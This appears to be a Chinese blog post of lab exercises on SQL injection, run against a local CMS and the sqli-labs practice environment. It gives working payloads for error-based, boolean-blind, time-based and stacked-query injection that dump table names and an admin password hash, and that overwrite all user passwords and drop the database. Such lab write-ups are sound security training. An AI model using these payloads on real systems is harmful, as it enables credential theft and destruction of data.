Exercise:报错注入、布尔盲注、延时注入、堆叠查询

 

目录

1. 报错注入练习

2. 布尔盲注练习

3. 延时注入练习

4. 堆叠查询练习

1. 报错注入练习

要求:通过报错注入方法,获取网站后台管理员账密码。

1.查表名

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

 

2.查询数据库中表的数量

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)  

 

 

3.挨个查询8张表的表名

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

 

 

limit 2,1   #从2开始的第一个表
  • 查询到以下8个表名

cms_article

cms_category

cms_file

cms_friendlink

cms_message

cms_notice

cms_page

cms_users

4.通过表查询列名

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

  • 查询到以下3个列名

userid     username    password

5.查询用户名

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)

 

6.查询密码有多少位

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)

 

7.无法显示全部密码需截断查询密码

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)  

 

http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)  

 

1-16位:e10adc3949ba59ab

17-32位:be56e057f20f883e

8.组合查询结果得到密码

e10adc3949ba59abbe56e057f20f883e

 

2. 布尔盲注练习

要求: sqli-labs_08 注入联系,通过布尔盲注,获取数据库名字

http://192.168.5.140/sqli-labs-master/Less-8/

1.通过改变id值判断是否有回显

由于添加字符后回显消失,猜测该页面可能隐藏了报错信息

 

2.通过添加字符查看是否报错,字符型还是数字型

判断该id值是字符型,闭合符为'

 

3.通过and 1=1 and 1=2,判断显示页面是否正常

--+为注释符

1=1是正常;1=2时不正常

 

4.通过页面显示的差异判断数据库名位数

?id=2' and length(database())>0 --+ ?id=2' and length(database())=8 --+

页面显示正常说明库名8位数

 

5.依次确定1-8位数据库名

 


http://192.168.5.140/sqli-labs-master/Less-8/

?id=2' and ascii(substr((select database()),1,1))>99 --+

?id=2' and ascii(substr((select database()),1,1))=115 --+

?id=2' and ascii(substr((select database()),2,1))=101 --+

?id=2' and ascii(substr((select database()),3,1))=99 --+

?id=2' and ascii(substr((select database()),4,1))=117 --+

?id=2' and ascii(substr((select database()),5,1))=114 --+

?id=2' and ascii(substr((select database()),6,1))=105 --+

?id=2' and ascii(substr((select database()),7,1))=116 --+

?id=2' and ascii(substr((select database()),8,1))=121 --+

​

 

 

数据库名:security

3. 延时注入练习

要求:以sqli-labs_09 为例子,通过延时注入,获取数据库版本号。

1.判断版本号长度

版本号长度为6个字符

?id=2' and if(length(version())>5,sleep(5),1) --+

?id=2' and if(length(version())=6,sleep(5),1) --+

 

2.依次确定版本号字符

?id=2' and if(ascii(substr((select version()),1,1))>50,sleep(5),1) --+

?id=2' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

?id=2' and if(ascii(substr((select version()),2,1))=46,sleep(5),1) --+

?id=2' and if(ascii(substr((select version()),3,1))=53,sleep(5),1) --+

?id=2' and if(ascii(substr((select version()),4,1))=46,sleep(5),1) --+

?id=2' and if(ascii(substr((select version()),5,1))=53,sleep(5),1) --+

?id=2' and if(ascii(substr((select version()),6,1))=51,sleep(5),1) --+
  • ascii表一一对应

    则版本号为5.5.53

4. 堆叠查询练习

要求:

  1.  以sqli-labs_38 为例子,通过堆叠查询,修改所有用户密码为654321

?id=2';update users set password='654321'; --+

 

   2.  利用堆叠查询删库(危险!实战环境中千万不要)

?id=2'; drop database security; --+

 

  3.  恢复sqli-labs 环境

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值